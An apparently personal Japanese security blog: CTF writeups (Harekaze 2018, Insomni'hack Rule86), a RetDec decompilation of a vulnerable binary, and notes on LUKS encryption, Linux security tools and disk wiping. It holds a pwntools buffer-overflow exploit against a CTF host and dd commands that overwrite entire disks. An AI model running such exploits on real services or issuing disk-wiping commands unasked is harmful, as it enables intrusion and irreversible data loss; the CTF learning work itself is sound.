Harekaze CTF 2018 Writeup
卒論書かなきゃいけなかったのであまり参加できなかった。 解けたのはwelcome、easy-problem、harekaze-farm、div-nの4つ。 welcomeとeasy-problemはサービス問みたいなものなので実質2つくらいかな。
easy-problem
rot13 nkfを使った。
echo 'UnerxnmrPGS{Uryyb, jbeyq!}' | nkf -r
nkf便利。
div N
割り算を最適化したバイナリの問題。 ちゃんと調べれば最適化の方法とか逆算の仕方とか分かったのかもしれないが、見つからず面倒になったので力技で解いた。
要はx/NのNを特定すればよくて、アセンブリでアルゴリズムが分かってるんだから、x/Nがちょうど1になるようなxを求めればいい。 これなら単純に二分探索していける。 アルゴリズムを書くのも面倒だったので直接xの値を書き換えて特定していった。 限りなく頭悪い解き方な気がする。
#include <stdio.h> int main(){ long long ret_val = 0; long long int i = 0x376a474eb862e; __asm__ __volatile__ ( "mov %1, %%rdi\n\t" "mov %%rdi,%%rax\n\t" "movabs $0x49ea309a821a0d01,%%rdx\n\t" "sar $0x3f,%%rdi\n\t" "imul %%rdx\n\t" "sar $0x30,%%rdx\n\t" "mov %%rdx,%%rax\n\t" "sub %%rdi,%%rax\n\t" "mov %%rax,%0\n\t" : "=g"(ret_val) : "r"(i) ); printf("i: %lld\n", i); printf("ret_val: %lld\n", ret_val); return 0; }
上から順番にぴったり1になるような数値を決定していって、最後までいったら正解になる。 フラグが16進数なのか10進数なのか分からないのは不親切だと思う。
harekaze-farm
解けてみればすごい簡単だけど、無駄に時間かけてしまった。 プログラムの挙動自体が脆弱な問題は盲点だった、経験の少さが露呈した感じがする。
単に、入力した動物は8バイト単位で格納されているのに、16バイト単位で入力ができるということである。 なので最初の8バイトはcowとかの正当な値にして、次の8バイトに不正な値を入力することができる。 バイナリを解析するとisorokuの鳴き声がフラグになっているので、isorokuを入力してやればいい。 次の入力が正当だと上書きされるので注意する必要がある。
from pwn import * context.update(arch='i386') exe = './harekaze_farm' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote('problem.harekaze.com', 20328) else: return process([exe] + argv, *a, **kw) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() f = open('payload', 'w') payload = 'cow' + '\x00'*5 + 'isoroku' io.sendline(payload) f.write(payload) f.close() log.info(io.recv(timeout=0.1)) io.sendline('A' * 0xf) log.info(io.recv(timeout=0.1)) io.sendline('A' * 0xf) log.info(io.recv(timeout=0.1)) io.interactive()
他も解きたかったが、実力と時間が足りなかった。
Linux ディスクの暗号化
Linuxでディスクを暗号化したので手順をメモする。
ディスク暗号化
ディスクへ書き込む時点で暗号化してくれるのでファイルレベルで暗号化するより楽に管理できるし、コピーしたときとかにディスクにデータが残ってて復元されてしまったりとかの危険性は減る。 ただし、ディスクに書き込まれるデータそのものが全て暗号化されるのでディスクが破損すると全てのデータが取り出せなくなったりする危険がある。
これをやっておくとノートパソコンとかUSBとかを紛失してもすぐに中身が漏洩することはないので大事な情報を持ち運ぶときのために用意しておくと便利。 パスの管理をしっかりやっていれば、ディスク自体は使い回しても基本的には問題ないはず。 一度マウントすると復号されたデータが読み出せるので、信頼できない機器で開くのはやめた方がいい。 それとマウントしたままだとディスクにアクセスできてしまうので、マウントしたままスリープ状態で持ち運ぶのはやめよう。
手順
最初に暗号化するディスクパーティションを用意する。 partedなりfdiskなりgpartedなりで用意するか、ディスクの領域全てを使ってもいい。 cryptsetupでLUKSを使う。
古いディスクを使い回すなら、せっかくなのでディスクの状態を診断しておくといい。 下記のサイトで紹介されているbadblocksは各セクタに書き込んで順次チェックすることができる。
Linux - badblocks コマンドで HDD 不良ブロックのチェック! - mk-mode BLOG
前に書いた記事の通りにディスクを初期化しておくと以前のデータを復元できなくなる。 ランダムなデータを書き込めば、暗号化データを識別するのも難しくなるはず。 hiziriai.hatenablog.com
/dev/sdb1のパーティションを暗号化し、マウントするときの例。
apt install cryptsetup
cryptsetup luksFormat /dev/sdb1
cryptsetup luksOpen /dev/sdb1 encrypted-disk
mkfs.ext4 /dev/mapper/encrypted-disk
mkdir /mnt/encrypted-disk
mount /dev/mapper/encrypted-disk /mnt/encrypted-disk
umount /mnt/encrypted-disk
cryptsetup luksClose /dev/mapper/encrypted-disk
luksFormat
でディスクの暗号化方式とかハッシュ方式を選択できる、デフォルトでは256ビットのaesとsha1になる。
パスワードもこのとき決める。複数のパスワードも登録できるらしいが個人で使うだけなら必要ない。
luksOpen
で読み書きできるようにしている。
open
でもいい。指定した名前で/dev/mapper以下にアクセスできるリンクが貼られる。
luksClose
あるいはclose
するまで読み書き可能な状態になっているはず。
avastのretdec
avastがデコンパイラを公開したので使ってみた。 お題はちょっと前のsharif-ctf2018のvuln4で、試しにデコンパイルしてみる。
インストール
まずはretdecをインストールする。
githubのリポジトリにインストールのやり方があるのでプラットフォームに合わせてインストール。
ubuntuだとaptで入るcmakeじゃバージョンが低くてコンパイルできないので、cmakeも別途入れる必要があった。
とりあえずコンパイルしてインストールすると様々なツールとスクリプトがインストールされる。
ぱっと見た感じだとマルウェア解析をやりやすくするための解析ツールとかLLVM IRのトランスレータとかも入るみたいなので使ってみたい。
他にも簡単に使えるようにするためのスクリプトも入る。
デコンパイルするにはretdec-decompiler.sh
を実行すればいい。
デコンパイル
vuln4をデコンパイルしてみる。
retdec-decompiler.sh vuln4
簡単過ぎてビックリする。
デコンパイルすると、いくつかのファイルが生成された。 + vuln4.c + vuln4.c.backend.bc + vuln4.c.backend.ll + vuln4.c.frontend.dsm + vuln4.c.json
vuln4.c以外は中間生成物っぽい? vuln4.cがデコンパイル結果になる。
// // This file was generated by the Retargetable Decompiler // Website: https://retdec.com // Copyright (c) 2018 Retargetable Decompiler <info@retdec.com> // #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // ------------------- Function Prototypes -------------------- int32_t __x86_get_pc_thunk_bx(int32_t a1); int32_t _start(int32_t a1); int32_t copy_it(int32_t a1); int32_t function_8048360(int32_t a1); int32_t function_8048370(int32_t a1); int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3); int32_t function_8048390(int32_t a1, int32_t a2); int32_t function_80483a0(int32_t a1); int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8); // --------------------- Global Variables --------------------- int32_t g1 = 0; // eax int32_t g2 = 0; int32_t (*g3)(int32_t) = NULL; // ------------------------ Functions ------------------------- // Address range: 0x8048360 - 0x804836f int32_t function_8048360(int32_t a1) { // entry return ((int32_t (*)(int32_t))&g3)(g2); } // Address range: 0x8048370 - 0x804837f int32_t function_8048370(int32_t a1) { // 0x8048370 g1 = fflush(); return function_8048360(0); } // Address range: 0x8048380 - 0x804838f int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3) { // 0x8048380 g1 = fgets(); return function_8048360(8); } // Address range: 0x8048390 - 0x804839f int32_t function_8048390(int32_t a1, int32_t a2) { // 0x8048390 g1 = strcpy(); return function_8048360(16); } // Address range: 0x80483a0 - 0x80483af int32_t function_80483a0(int32_t a1) { // 0x80483a0 g1 = puts(); return function_8048360(24); } // Address range: 0x80483b0 - 0x80483bf int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) { // 0x80483b0 g1 = __libc_start_main(); return function_8048360(32); } // Address range: 0x80483d0 - 0x80483ff int32_t _start(int32_t a1) { int32_t v1 = g1; // 0x80483d8 int32_t v2 = v1; // bp-4 int32_t v3; int32_t result = function_80483b0(0x80484ea, a1, (int32_t)&v3, 0x8048580, 0x80485e0, 0, (int32_t)&v2, v1); // 0x80483ec return result; } // Address range: 0x8048400 - 0x8048403 int32_t __x86_get_pc_thunk_bx(int32_t a1) { // entry return g1; } // Address range: 0x80484cb - 0x80484e9 int32_t copy_it(int32_t a1) { // entry int32_t v1; // bp-22 function_8048390((int32_t)&v1, a1); return 0; } // Address range: 0x80484ea - 0x8048571 int main(int argc, char ** argv) { // entry function_80483a0((int32_t)"This time it is randomized..."); function_80483a0((int32_t)"You should find puts yourself"); function_8048370(*(int32_t *)0x80498a4); int32_t v1; // bp-66 int32_t v2 = &v1; // 0x804853a function_8048380(v2, 200, *(int32_t *)0x80498a0); copy_it(v2); function_80483a0((int32_t)"done!"); return 0; } // --------------- Dynamically Linked Functions --------------- // int32_t __libc_start_main(void); // int32_t fflush(void); // int32_t fgets(void); // int32_t puts(void); // int32_t strcpy(void); // --------------------- Meta-Information --------------------- // Detected compiler/packer: gcc (4.7.2) // Detected functions: 10 // Decompilation date: 2018-02-06 22:45:20
元のvuln4が分岐もループもほとんどない単純なプログラムだからどの程度できるのかよく分からない。 pltっぽいところも関数にしているのが少し分かりにくいが、結構リバーシングの手間が省けるんじゃないだろうか? どの程度使えるのかこれから試していきたい。
libcから関数本体のオフセットを取得する方法
nm -D libc.so.6 | grep function_name
Insomni'hack teaser 2018 writeup
welcomeしかできてないので実質0完。 Rule86の途中までしかできなかったのでそのwriteup。
Rule86
同期型ストリーム暗号の問題。 簡単に言えば鍵から生成した疑似乱数列と平文のxorを取るような暗号で、同じ鍵からは同じ疑似乱数列が生成されなければならない。 ダウンロードしてきたファイルの中にRule86.txtの平文と暗号文があるので、使われた疑似乱数列が復元できる。 問題文には同じ鍵を再利用していると書いてあるので、他のファイルも同じ乱数列で復号できるようになる。 それで他のファイル、hint.gif.encとsuper_cipher.py.encを復号すると、途中まで復号することができる。 super_cipher.py.encは復号できる前半部分に疑似乱数を生成する関数がある。 この関数を調べると、どうも直前に生成した乱数を引数にして次の乱数を生成するようになっているらしいので、足りない疑似乱数列の続きを生成できるようになる。 処理は32バイト単位。 ここまでpython2でやってたけど、この関数はpython3じゃないと微妙に誤差がでるのでそこでひっかかってた。 python3に切り替えて復元した疑似乱数列の続きを生成して復号すると、hint.gifとsuper_cipher.pyも完全に復元できた。
hint.gifには鍵がフラグであるみたいなことが書いてあったんだが、そこからが分からなかった。 控え目にいって32文字ほどありそうな鍵をブルートフォースするのも現実的ではないし、256回ほど疑似乱数生成処理を挟んで初期化しているから推測できそうもないし、orを使ってマッピングしているから逆算できそうもなし、gifファイルは画像一枚しか見つからないから何かありそうな感じもしない。 ここでお手上げ状態になりそのまま36時間経過してしまった。
linuxのセキュリティツール
Linuxで使えるセキュリティツールの使い方のメモ。
ClamAV
アンチウイルスソフト。 avastとかより検知率は低いっぽいがないよりマシ。 定期的なシステム全体のスキャンなどもできる。 特にCLIから個別のファイルのスキャンができるのが便利。
# install sudo apt install clamav # scan clamscan file clamscan -i file # -iを付けると感染している疑いのあるファイルしか表示されない
rkhunter
ルートキット検知ツール。 システムファイルやコマンドのプログラムをチェックしてルートキットが仕込まれていないかを調べられる。 定期的に実行してメールを送信させることもできるっぽいけど、個人で使ってるくらいだと必要ないかな。
# install sudo apt install rkhunter # check local system sudo rkhunter -c
チェックが終わると/var/log/rkhunter.logでログが確認できる。 そのままだと問題ないファイルでも警告が出てしまうので、環境に合わせてホワイトリストを設定するといい。 /etc/rkhunter.confが設定ファイルになる。
ufw
ファイアウォール。 iptablesのラッパーで、ubuntuではデフォルトで入っているはず。
sudo ufw enable # 有効化 sudo ufw default DENY # デフォルトのポリシーを設定、DENYにすると安全 sudo ufw allow 80/tcp # 開けておく必要があるポートやサービスの設定ができる
iptablesより楽に使えるので、公開サーバとかではなく個人で使うくらいなら十分じゃないかと思う。
lynis
システム全体をチェックしてくれる。 インストールするには公式のサイトの方法でやるのがいい。 aptなどでは古いものになってしまう。
# install apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C80E383C3DE9F082E01391A0366C67DE91CA5D5F apt install apt-transport-https echo 'Acquire::Languages "none";' > /etc/apt/apt.conf.d/99disable-translations echo "deb https://packages.cisofy.com/community/lynis/deb/ stable main" > /etc/apt/sources.list.d/cisofy-lynis.list apt update apt remove lynis apt install lynis # 使い方 sudo lynis audit system # チェック
基本的には/var/log/lynis-report.datから警告や推奨された対策を取っていくことになる。 チェックした後にどれほど堅牢なのかのスコアが表示されるので高得点を目指そう。
TODO
- debsums
- apt-show-versions
- proccess accounting
- sysstat
- auditd
ddでディスク消去メモ
HDDのディスク消去したときのメモ。
fdisk -l
で現在認識されているディスク一覧が確認できる。
内容をちゃんと消去するには0で上書きするのがいい。
dd if=/dev/zero of=/dev/sdX bs=4096
普通はこれで十分。
ランダムデータを書き込むとさらに復元が困難になる。
dd if=/dev/urandom of=/dev/sdX bs=4096
dd
はデータのコピーとかにも使えるし便利。